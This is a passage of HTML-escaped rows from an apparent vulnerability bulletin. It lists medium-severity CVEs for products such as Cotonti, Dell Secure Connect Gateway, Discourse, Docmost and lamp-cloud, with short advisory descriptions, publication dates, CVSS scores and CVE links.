&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100522&quot; target=&quot;_blank&quot;&gt;CVE-2026-100522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti through 1.0.0 contains an open redirect vulnerability in message.php that base64-decodes the redirect parameter without domain validation. Unauthenticated attackers can craft malicious links with encoded external URLs to redirect users to arbitrary sites via meta refresh tags for phishing attacks.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100523&quot; target=&quot;_blank&quot;&gt;CVE-2026-100523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti through 1.0.0 contains a cross-site request forgery vulnerability in the extensions manager that allows attackers to perform state-changing actions without anti-CSRF token validation. Attackers can craft links or embed images to force administrators to install, update, pause, or unpause extensions by tricking them into visiting a malicious page while authenticated.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100524&quot; target=&quot;_blank&quot;&gt;CVE-2026-100524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cozmoslabs--User Profile Builder Beautiful User Registration Forms, User Profiles &amp;amp; User Role Editor&lt;/td&gt;
&lt;td&gt;The User Profile Builder - Beautiful User Registration Forms, User Profiles &amp;amp; User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Avatar Field in all versions up to, and including, 4.0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable via a nonce-free GET request to /wp-admin/profile.php, requiring no profile-form submission; a Subscriber can plant the malicious attachment URL, which then executes when an administrator opens that user&#039;s Edit User screen.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93656&quot; target=&quot;_blank&quot;&gt;CVE-2026-93656&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Crocoblock. Jetimpex Inc.--JetTricks&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Input During Web Page Generation (&#039;Cross-site Scripting&#039;) vulnerability in Crocoblock. Jetimpex Inc. JetTricks allows Stored XSS. This issue affects JetTricks: from n/a through 2.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93618&quot; target=&quot;_blank&quot;&gt;CVE-2026-93618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cstigler--node-xhtml-purifier&lt;/td&gt;
&lt;td&gt;xhtml-purifier is a Node.js library to take in raw/unknown/untrusted HTML and output cleaned, purified, trusted HTML. Versions prior to 0.4.3 do not HTML-entity-encode attribute values when serializing its sanitized output. In attributeString() (XHTMLPurifier.js, around line 148) the attribute value is concatenated directly into a double-quoted attribute without encoding. As a result, an attacker-controlled value in any allowed attribute (class, style, title, alt, src, href) can include a double-quote character to break out of the attribute and inject an additional attribute, such as a JavaScript event handler (for example onmouseover or onerror). The injected handler survives sanitization and executes when the output is rendered, which is a sanitizer bypass leading to cross-site scripting. The fix in version 0.4.3 HTML-entity-encodes attribute values before serialization.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61784&quot; target=&quot;_blank&quot;&gt;CVE-2026-61784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CyberPanel 1.9.1--CyberPanel v1.9.1&amp;nbsp;&lt;/td&gt;
&lt;td&gt;CyberPanel v1.9.1 contains a path traversal vulnerability in the compress method exposed through the /filemanager/controller endpoint. An authenticated remote attacker with ownership of any configured domain can supply absolute or otherwise out-of-scope file paths in the listOfFiles JSON property, together with attacker-controlled basePath and compressedFileName values, in a method=compress request. Because the application validates only domain ownership and does not canonicalize or restrict these paths to the authorized site directory, the backend appends them to zip or tar archive commands and executes them as the website externalApp user, allowing disclosure of arbitrary readable files through the generated archive.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79306&quot; target=&quot;_blank&quot;&gt;CVE-2026-79306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CyberPanel--CyberPanel 1.9.1&lt;/td&gt;
&lt;td&gt;CyberPanel 1.9.1 contains a path traversal vulnerability in the readFileContents method of the /filemanager/controller endpoint. An authenticated remote attacker with ownership of any configured domain can supply an arbitrary absolute or out-of-scope path in the fileName JSON property. Because authorization validates only domainName and does not canonicalize or restrict fileName to that domain&#039;s home directory, the application returns the contents of files readable by the CyberPanel execution identity.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79304&quot; target=&quot;_blank&quot;&gt;CVE-2026-79304&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DALIBO--PostgreSQL Anonymizer&lt;/td&gt;
&lt;td&gt;PostgreSQL Anonymizer contains a vulnerability that allows unprivileged masked users to repeatedly call the anon.hash() function and collects (seed, hash_output) pairs to perform an offline brute-force attack and deduce the salt. A masked role can run a RESTRICTED function when the call is placed inside the sub-select. The problem is resolved in PostgreSQL Anonymizer 3.2.3 and later versions&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97469&quot; target=&quot;_blank&quot;&gt;CVE-2026-97469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;decolua--9router&lt;/td&gt;
&lt;td&gt;9Router is an AI router &amp;amp; token saver. Prior to 0.5.6, 9Router deployments that allow requests to reach Next.js without the sanitizing custom-server.js wrapper use the client-supplied X-9r-Real-Ip value as the bucket key in getClientIp, checkLock, and recordFail in src/lib/auth/loginLimiter.js for POST /api/auth/login. A remote unauthenticated attacker can rotate the header on every password guess so each request uses a new failed-attempt bucket and the five-attempt progressive lockout never returns HTTP 429. This permits unthrottled password guessing against the dashboard login and can lead to an administrative session if the password is recovered. This issue is fixed in version 0.5.6.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56682&quot; target=&quot;_blank&quot;&gt;CVE-2026-56682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Command | Integration Suite for System Center&lt;/td&gt;
&lt;td&gt;Dell Command | Integration Suite for System Center, versions prior to 6.7.2, contain an Incorrect Default Permissions vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82165&quot; target=&quot;_blank&quot;&gt;CVE-2026-82165&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Command | Intel vPro Out of Band&lt;/td&gt;
&lt;td&gt;Dell Command | Intel vPro Out of Band, versions prior to 4.7.2, contain an Incorrect Default Permissions vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82163&quot; target=&quot;_blank&quot;&gt;CVE-2026-82163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Rugged Control Center (RCC)&lt;/td&gt;
&lt;td&gt;Dell Rugged Control Center (RCC), versions prior to 5.2.206, contain an Improper Authorization vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56792&quot; target=&quot;_blank&quot;&gt;CVE-2026-56792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway (SCG) Policy Manager&lt;/td&gt;
&lt;td&gt;Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Improper Privilege Management vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61413&quot; target=&quot;_blank&quot;&gt;CVE-2026-61413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway (SCG) Policy Manager&lt;/td&gt;
&lt;td&gt;Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Insufficient Session Expiration vulnerability. A low privileged attacker with adjacent network access could potentially exploit this vulnerability, leading to Elevation of privileges, Protection mechanism bypass, and Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73586&quot; target=&quot;_blank&quot;&gt;CVE-2026-73586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway (SCG) Policy Manager&lt;/td&gt;
&lt;td&gt;Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Information disclosure, Information tampering, and Protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73587&quot; target=&quot;_blank&quot;&gt;CVE-2026-73587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway (SCG) Policy Manager&lt;/td&gt;
&lt;td&gt;Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, Versions prior to 5.36, contains a Weak Encoding for Password vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information disclosure, Information tampering, Protection mechanism bypass, and Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73589&quot; target=&quot;_blank&quot;&gt;CVE-2026-73589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway (SCG) Policy Manager&lt;/td&gt;
&lt;td&gt;Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Improper Restriction of Rendered UI Layers or Frames vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges and Session theft.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71177&quot; target=&quot;_blank&quot;&gt;CVE-2026-71177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Deltaww--DIAEnergie&lt;/td&gt;
&lt;td&gt;Improper Access Control in DIAEnergie. This issue affects DIAEnergie: before 1.11.00.022.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78313&quot; target=&quot;_blank&quot;&gt;CVE-2026-78313&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Deltaww--DIAEnergie&lt;/td&gt;
&lt;td&gt;Authorization Bypass Through User-Controlled Key in DIAEnergie. This issue affects DIAEnergie: before 1.11.00.022.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78310&quot; target=&quot;_blank&quot;&gt;CVE-2026-78310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dgtlmoon--changedetection.io&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in dgtlmoon changedetection.io up to 0.60.7. This impacts the function static_content of the file changedetectionio/flask_app.py of the component visual_selector_data. Executing a manipulation of the argument filename can lead to path traversal. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. Distinct from CVE-2026-25527, which fixed a different parameter (group) in the same function. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95273&quot; target=&quot;_blank&quot;&gt;CVE-2026-95273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;discourse--discourse&lt;/td&gt;
&lt;td&gt;Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, the topic small-action and nested-activity-log components interpolated the free-form action_code_who value into mention-link href attributes without URL encoding. A quote-bearing display name could terminate the intended URL attribute and inject attacker-controlled elements into the trusted rendered markup. Although the visible mention text was escaped, the unencoded path component allowed stored HTML injection when another user viewed the affected topic action or activity log. This issue is fixed in versions 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91119&quot; target=&quot;_blank&quot;&gt;CVE-2026-91119&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;discourse--discourse&lt;/td&gt;
&lt;td&gt;Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, authenticated users could supply unescaped SQL LIKE metacharacters to upload-resolution patterns, causing wildcard input to select unrelated upload records instead of matching a literal identifier. The affected upload metadata, URL-lookup, and cooked-video-placeholder paths could resolve uploads the user was not authorized to access. This allowed disclosure of restricted metadata, including original filenames and secure-upload paths, without modifying the upload records. This issue is fixed in versions 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91133&quot; target=&quot;_blank&quot;&gt;CVE-2026-91133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;discourse--discourse&lt;/td&gt;
&lt;td&gt;Discourse is an open-source discussion platform. Prior to 2026.7.0, the post action component failed to escape user-controlled display names before interpolating them into an HTML string passed to trustHTML. A user who could choose a crafted display name could persist markup in post action descriptions. Viewing the affected user activity streams could execute attacker-controlled script in another user&#039;s browser. This issue is fixed in version 2026.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59830&quot; target=&quot;_blank&quot;&gt;CVE-2026-59830&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;discourse--discourse&lt;/td&gt;
&lt;td&gt;Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, provider-controlled video titles in lazy video embeds could be reparsed as HTML when Discourse generated notification emails or chat summaries. A user with standard posting privileges could create a post for an enabled YouTube, Vimeo, or TikTok provider whose title contained markup, and the email and chat-summary rendering path would place that markup into the output instead of treating it solely as text. Recipients using HTML-capable email clients could see injected content, potentially including event handlers, but the issue did not directly expose a Discourse browser session or affect the forum page itself. Lazy video embeds must be enabled, which is the default configuration. This issue is fixed in versions 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91120&quot; target=&quot;_blank&quot;&gt;CVE-2026-91120&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;discourse--discourse&lt;/td&gt;
&lt;td&gt;Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, attacker-controlled upload filenames used in chat message excerpts were rendered as unescaped HTML. A user able to upload a file and send chat content could place markup in a filename that was then interpreted by chat channel lists, chat summary emails, pinned message bars, reply previews, thread previews, and other excerpt renderers. The issue allowed trusted-HTML injection that altered rendered excerpt content, but JavaScript execution was not demonstrated with default Content Security Policy settings. The advisory states that no confidentiality, integrity, or availability impact was identified, while its structured scoring metadata separately assigns low integrity impact. Sites that disable or relax the default CSP have increased exposure. This issue is fixed in versions 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91121&quot; target=&quot;_blank&quot;&gt;CVE-2026-91121&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;discourse--discourse&lt;/td&gt;
&lt;td&gt;Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, the Discourse post sanitizer allowed a stored cross-origin iframe to bypass the allowed_iframes prefix policy when the iframe src contained encoded userinfo. The sanitizer validated a decoded form differently from the stored iframe src, allowing the browser to interpret an attacker-controlled host while the allowlist check accepted the encoded URL as an allowed prefix. An authenticated user with posting privileges could persist the iframe in a post and cause attacker-controlled cross-origin content to be rendered. This issue is fixed in versions 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91134&quot; target=&quot;_blank&quot;&gt;CVE-2026-91134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;discourse--discourse&lt;/td&gt;
&lt;td&gt;Discourse is an open-source discussion platform. Prior to 2026.1.6, 2026.5.2, 2026.6.1, and 2026.7.0, Discourse AI reviewables associated with private messages could appear in the moderator review queue of a moderator who was not a participant in the message. Reviewable visibility filtering did not restrict private-message reviewables to the audience permitted to access the underlying private-message topic, allowing the moderator to read otherwise confidential content. Depending on the available reviewable action, the moderator could also modify the private message by closing its topic or deleting a post. Exploitation requires an authenticated moderator account and a pre-existing Discourse AI reviewable associated with a private message. This issue is fixed in versions 2026.1.6, 2026.5.2, 2026.6.1, and 2026.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84302&quot; target=&quot;_blank&quot;&gt;CVE-2026-84302&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;discourse--discourse&lt;/td&gt;
&lt;td&gt;Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, sites using wildcard patterns in the allowed_iframes setting could accept a crafted iframe URL whose allowlisted suffix appeared after a URL authority separator. The wildcard origin check matched the allowed domain text, while browser URL parsing selected a different attacker-controlled origin. A user with posting privileges could exploit the flaw through a post or a Onebox oEmbed response and cause an attacker-controlled iframe to be rendered independently of the allowlisted domain. Successful exploitation requires a site-configured wildcard iframe pattern and the ability to create a post or trigger an oEmbed request for an attacker-controlled URL. This issue is fixed in versions 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91132&quot; target=&quot;_blank&quot;&gt;CVE-2026-91132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;docmost--docmost&lt;/td&gt;
&lt;td&gt;Docmost is open-source collaborative wiki and documentation software. From 0.21.0 until 0.95.0, any authenticated workspace member with edit rights to a space can upload an archive to the page-import feature whose ZIP extraction routine does not limit total uncompressed size, per-entry size, or entry count. The extractor writes entries to the server temp directory and automatically extracts one nested ZIP, allowing an outer upload within the default 200 MB limit to expand by multiple GB. The resulting disk exhaustion can crash the import worker and degrade or take down the instance for all tenants. This issue is fixed in version 0.95.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65827&quot; target=&quot;_blank&quot;&gt;CVE-2026-65827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;docmost--docmost&lt;/td&gt;
&lt;td&gt;Docmost is open-source collaborative wiki and documentation software. Prior to 0.80.1, the public avatar and logo image endpoint accepts attacker-controlled fileName path segments and resolves them against local storage without confinement to the intended image directory. An unauthenticated attacker can traverse outside the avatar or logo directory and read local storage objects whose final basename satisfies the route&#039;s UUID check. This issue is fixed in version 0.80.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48072&quot; target=&quot;_blank&quot;&gt;CVE-2026-48072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;docmost--docmost&lt;/td&gt;
&lt;td&gt;Docmost is open-source collaborative wiki and documentation software. Prior to 0.90.1, an authenticated workspace ADMIN can use the workspace invitation flow to invite an external email address with the OWNER role because the role ceiling does not prevent ADMIN users from granting privileges above their own. When the invitation is accepted, the new account receives OWNER-level permissions, allowing the ADMIN to create a backdoor OWNER account or promote a colluding external user to the workspace&#039;s highest privilege level. This issue is fixed in version 0.90.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52853&quot; target=&quot;_blank&quot;&gt;CVE-2026-52853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;docmost--docmost&lt;/td&gt;
&lt;td&gt;Docmost is open-source collaborative wiki and documentation software. From 0.70.0 until 0.80.1, a low-privileged authenticated user who can edit an exportable page can embed a forged attachmentId that belongs to a restricted page in the same space. Exporting the attacker-controlled page with includeAttachments=true causes the page export flow to read the restricted attachment from storage and include it in the returned ZIP archive even though direct file download denies access. This issue is fixed in version 0.80.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48073&quot; target=&quot;_blank&quot;&gt;CVE-2026-48073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;docmost--docmost&lt;/td&gt;
&lt;td&gt;Docmost is open-source collaborative wiki and documentation software. Prior to 0.90.1, an authenticated workspace member who does not belong to a private space can call the transclusion / sync-block lookup API with a known sourcePageId and transclusionId pair because the lookup does not enforce private space membership before resolving the source page. The API can return confidential sync-block content and source page metadata even though the normal page APIs deny access to the same page. This issue is fixed in version 0.90.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52850&quot; target=&quot;_blank&quot;&gt;CVE-2026-52850&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dromara--lamp-cloud&lt;/td&gt;
&lt;td&gt;lamp-cloud through 5.10.0 contains an authorization bypass vulnerability in the getUserInfoById endpoint that allows authenticated users to read any other user&#039;s full profile. Attackers can iterate the userId parameter to harvest sensitive user information including mobile numbers, email addresses, national identity card numbers, and WeChat and DingTalk OpenIDs.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94532&quot; target=&quot;_blank&quot;&gt;CVE-2026-94532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dromara--lamp-cloud&lt;/td&gt;
&lt;td&gt;lamp-cloud through 5.10.0 contains an authorization bypass vulnerability in FileAnyoneController that allows authenticated users to download arbitrary attachments. Attackers can retrieve other users&#039; stored files by supplying valid attachment identifiers to the /anyone/file/down and /anyone/file/download endpoints, as the application never validates file ownership against the created_by column.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94533&quot; target=&quot;_blank&quot;&gt;CVE-2026-94533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dromara--lamp-cloud&lt;/td&gt;
&lt;td&gt;lamp-cloud through 5.10.0 fails to validate the employeeId parameter in the /anyone/visible/resource endpoint, allowing authenticated users to read any employee&#039;s roles and permissions. Attackers can supply arbitrary employeeId values to enumerate other employees&#039; role codes, permission codes, and complete front-end router trees without authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94536&quot; target=&quot;_blank&quot;&gt;CVE-2026-94536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;e621ng--e621ng&lt;/td&gt;
